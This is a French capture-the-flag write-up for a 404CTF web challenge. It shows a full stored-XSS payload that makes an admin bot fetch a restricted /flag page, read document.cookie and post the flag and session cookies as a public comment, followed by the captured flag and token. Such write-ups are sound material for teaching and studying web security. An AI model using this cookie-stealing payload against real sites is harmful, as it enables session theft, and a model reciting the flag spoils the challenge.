L'interface web présente un système de communication historique inspiré du Télégraphe Baudot.
En inspectant le code source HTML et les fonctionnalités disponibles, trois éléments clés se distinguent :
initCSRF(), laquelle envoie une requête vers /api/init_csrf. Sans cette action, la session n'est pas initialisée.POST vers /post_comment. Ce champ de texte ne nettoie pas les entrées utilisateur, le rendant vulnérable aux injections XSS stockées./visit, forçant un script simulant un administrateur (bot) à venir inspecter la page des dépêches reçues.https://4cd9f333ef54b189.s.404ctf.fr/static/index.js
En tentant d'accéder manuellement à la page /flag, le serveur retourne la restriction suivante :
"Ceci est réservé aux admins..."
Une approche XSS classique consiste à injecter une charge utile (payload) qui vole le cookie et l'envoie vers un serveur contrôlé par l'attaquant.
Ici, deux barrières bloquent cette méthode :
fetch('/flag') renvoie la même erreur d'accès que pour un utilisateur classique.Puisque le bot ne peut pas communiquer avec l'extérieur, il faut utiliser l'application elle-même comme zone de stockage temporaire. Le but est de forcer le navigateur de l'administrateur à accomplir une chaîne d'actions automatiques lors de sa visite :
[Visite du Bot Admin]
│
▼
1. Requête vers la fonctione initCSRF() /api/init_csrf (Initialisation)
│
▼
2. Requête vers /flag (Déclenchement de la transmission)
│
▼
3. Lecture de document.cookie (Extraction de tout les cookies)
│
▼
4. Requête POST vers /post_comment (Soumission publique des cookies)
Pour éviter que notre propre navigateur ne pollue l'espace de commentaires en bouclant sur l'erreur d'accès, une condition de sécurité vérifie le contenu renvoyé par la route /flag.
Voici le code JavaScript complet qui a permis de récupérer le secret :
<script>
(function() {
// 1. Initialisation du jeton et des privilèges de l'admin
fetch('/api/init_csrf')
.then(response => {
if (response.ok) {
// 2. Une fois le lien établi, appel de la route critique
return fetch('/flag');
}
})
.then(res => res.text())
.then(data => {
// Sécurité : évite d'exécuter la suite sur notre propre session non-admin
if (data.includes("Ceci est réservé aux admins")) {
return;
}
// 3. Préparation des données (Corps HTML + Cookies de session de l'admin)
let formData = new FormData();
formData.append('comment', 'FLAG_OBTENU : ' + data + ' ' + document.cookie);
// 4. Exfiltration locale en publiant un nouveau commentaire contenant les secrets
return fetch('/post_comment', {
method: 'POST',
body: formData
});
})
.catch(err => console.error(err));
})();
</script>
FLAG_OBTENU : Flag transmis...flag=404CTF{SC13NT1F1QU3_P3U_4UX_N0RM3S}; csrf_token=b73aace697eb238eba6669d58193e2e7
Le flag validant le défi est : 404CTF{SC13NT1F1QU3_P3U_4UX_N0RM3S}